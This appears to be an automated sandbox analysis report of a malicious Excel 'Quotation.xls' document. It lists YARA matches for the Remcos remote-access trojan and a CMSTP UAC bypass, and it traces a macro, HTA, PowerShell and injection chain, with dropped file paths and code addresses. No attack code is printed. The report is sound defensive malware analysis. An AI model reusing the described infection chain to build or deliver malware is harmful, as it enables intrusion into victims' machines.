Source: 22.2.winiti.exe.1437c3ae0.1.unpack, type: UNPACKEDPE Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 25.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 25.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: REMCOS_RAT_variants Author: unknown
Source: 25.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 11.2.winiti.exe.143fc3ae0.2.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 11.2.winiti.exe.143fc3ae0.2.unpack, type: UNPACKEDPE Matched rule: REMCOS_RAT_variants Author: unknown
Source: 11.2.winiti.exe.143fc3ae0.2.unpack, type: UNPACKEDPE Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 22.2.winiti.exe.1437c3ae0.1.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 22.2.winiti.exe.1437c3ae0.1.raw.unpack, type: UNPACKEDPE Matched rule: REMCOS_RAT_variants Author: unknown
Source: 22.2.winiti.exe.1437c3ae0.1.raw.unpack, type: UNPACKEDPE Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 11.2.winiti.exe.143d64228.3.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 11.2.winiti.exe.143d64228.3.unpack, type: UNPACKEDPE Matched rule: REMCOS_RAT_variants Author: unknown
Source: 11.2.winiti.exe.143d64228.3.unpack, type: UNPACKEDPE Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 22.2.winiti.exe.143564228.3.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 22.2.winiti.exe.143564228.3.raw.unpack, type: UNPACKEDPE Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 11.2.winiti.exe.143d64228.3.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 11.2.winiti.exe.143d64228.3.raw.unpack, type: UNPACKEDPE Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: REMCOS_RAT_variants Author: unknown
Source: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0000000B.00000002.451807346.0000000143D64000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000016.00000002.484524464.0000000143564000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: winiti.exe PID: 3608, type: MEMORYSTR Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: winiti.exe PID: 4076, type: MEMORYSTR Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: AddInProcess32.exe PID: 2480, type: MEMORYSTR Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Excel sheet contains many unusual embedded objects
Source: Quotation.xls OLE: Microsoft Excel 2007+
Source: ~DF91B6A489623540E3.TMP.0.dr OLE: Microsoft Excel 2007+
Source: 37330000.0.dr OLE: Microsoft Excel 2007+
Microsoft Office drops suspicious files
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\gdfvr[1].hta Jump to behavior
Powershell drops PE file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\csrss[1].exe Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Roaming\winiti.exe Jump to dropped file
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Contains functionality to shutdown / reboot the system
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_004167B4 ExitWindowsEx,LoadLibraryA,GetProcAddress, 25_2_004167B4
Detected potential crypto function
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 7_2_000007FE89AC352E 7_2_000007FE89AC352E
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 11_2_000000013FE00750 11_2_000000013FE00750
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 11_2_000000013FDFED00 11_2_000000013FDFED00
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 11_2_000000013FDFC350 11_2_000000013FDFC350
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 11_2_000000013FDE9140 11_2_000000013FDE9140
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 11_2_000000013FDEFF90 11_2_000000013FDEFF90
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 11_2_000000013FDF8F30 11_2_000000013FDF8F30
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 11_2_000000013FDFDE20 11_2_000000013FDFDE20
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 11_2_000000013FDFF550 11_2_000000013FDFF550
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 11_2_000000013FDEE4E0 11_2_000000013FDEE4E0
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 11_2_000000013FE02480 11_2_000000013FE02480
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 11_2_000000013FDE2C50 11_2_000000013FDE2C50
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 11_2_000000013FDE6BB6 11_2_000000013FDE6BB6
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 11_2_000000013FE08BC0 11_2_000000013FE08BC0
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 11_2_000000013FDF8AB0 11_2_000000013FDF8AB0
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 11_2_000000013FDEF9E4 11_2_000000013FDEF9E4
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 11_2_000000013FE019F0 11_2_000000013FE019F0
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 11_2_000000013FE84160 11_2_000000013FE84160
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 11_2_000000013FE04160 11_2_000000013FE04160
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 11_2_000000013FE028F0 11_2_000000013FE028F0
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 11_2_000000013FDE3910 11_2_000000013FDE3910
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 11_2_000000013FDD80B0 11_2_000000013FDD80B0
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 11_2_000000013FE037F0 11_2_000000013FE037F0
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 22_2_000000013F620750 22_2_000000013F620750
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 22_2_000000013F61ED00 22_2_000000013F61ED00
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 22_2_000000013F61C350 22_2_000000013F61C350
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 22_2_000000013F609140 22_2_000000013F609140
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 22_2_000000013F618F30 22_2_000000013F618F30
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 22_2_000000013F60FF90 22_2_000000013F60FF90
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 22_2_000000013F61DE20 22_2_000000013F61DE20
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 22_2_000000013F61F550 22_2_000000013F61F550
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 22_2_000000013F602C50 22_2_000000013F602C50
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 22_2_000000013F60E4E0 22_2_000000013F60E4E0
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 22_2_000000013F622480 22_2_000000013F622480
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 22_2_000000013F606BB6 22_2_000000013F606BB6
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 22_2_000000013F628BC0 22_2_000000013F628BC0
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 22_2_000000013F60F9E4 22_2_000000013F60F9E4
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 22_2_000000013F6219F0 22_2_000000013F6219F0
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 22_2_000000013F618AB0 22_2_000000013F618AB0
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 22_2_000000013F6A4160 22_2_000000013F6A4160
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 22_2_000000013F624160 22_2_000000013F624160
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 22_2_000000013F603910 22_2_000000013F603910
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 22_2_000000013F6228F0 22_2_000000013F6228F0
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 22_2_000000013F6237F0 22_2_000000013F6237F0
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 22_2_000000013F5F80B0 22_2_000000013F5F80B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_0043E0CC 25_2_0043E0CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_0041F0FA 25_2_0041F0FA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_00454159 25_2_00454159
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_00438168 25_2_00438168
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_004461F0 25_2_004461F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_0043E2FB 25_2_0043E2FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_0045332B 25_2_0045332B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_0042739D 25_2_0042739D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_004374E6 25_2_004374E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_0043E558 25_2_0043E558
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_00438770 25_2_00438770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_004378FE 25_2_004378FE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_00433946 25_2_00433946
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_0044D9C9 25_2_0044D9C9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_00427A46 25_2_00427A46
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_0041DB62 25_2_0041DB62
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_00427BAF 25_2_00427BAF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_00437D33 25_2_00437D33
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_00435E5E 25_2_00435E5E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_00426E0E 25_2_00426E0E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_0043DE9D 25_2_0043DE9D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_00413FCA 25_2_00413FCA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_00436FEA 25_2_00436FEA
Document contains embedded VBA macros
Source: Quotation.xls OLE indicator, VBA macros: true
Document misses a certain OLE stream usually present in this Microsoft Office document type
Source: ~DF91B6A489623540E3.TMP.0.dr OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: String function: 000000013F5F9D50 appears 51 times
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: String function: 000000013FDD9D50 appears 51 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: String function: 00434E10 appears 54 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: String function: 00402093 appears 50 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: String function: 00434770 appears 41 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: String function: 00401E65 appears 34 times
Searches for the Microsoft Outlook file path
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE Jump to behavior
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE Jump to behavior
Yara signature match
Source: 25.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 25.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 25.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 22.2.winiti.exe.143564228.3.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 22.2.winiti.exe.143564228.3.unpack, type: UNPACKEDPE Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 22.2.winiti.exe.143564228.3.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 11.2.winiti.exe.143fc3ae0.2.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 11.2.winiti.exe.143fc3ae0.2.raw.unpack, type: UNPACKEDPE Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 11.2.winiti.exe.143fc3ae0.2.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 22.2.winiti.exe.1437c3ae0.1.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 22.2.winiti.exe.1437c3ae0.1.unpack, type: UNPACKEDPE Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 22.2.winiti.exe.1437c3ae0.1.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 25.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 25.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 25.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 11.2.winiti.exe.143fc3ae0.2.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 11.2.winiti.exe.143fc3ae0.2.unpack, type: UNPACKEDPE Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 11.2.winiti.exe.143fc3ae0.2.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 22.2.winiti.exe.1437c3ae0.1.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 22.2.winiti.exe.1437c3ae0.1.raw.unpack, type: UNPACKEDPE Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 22.2.winiti.exe.1437c3ae0.1.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 11.2.winiti.exe.143d64228.3.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 11.2.winiti.exe.143d64228.3.unpack, type: UNPACKEDPE Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 11.2.winiti.exe.143d64228.3.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 22.2.winiti.exe.143564228.3.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 22.2.winiti.exe.143564228.3.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 11.2.winiti.exe.143d64228.3.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 11.2.winiti.exe.143d64228.3.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 0000000B.00000002.451807346.0000000143D64000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000016.00000002.484524464.0000000143564000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: winiti.exe PID: 3608, type: MEMORYSTR Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
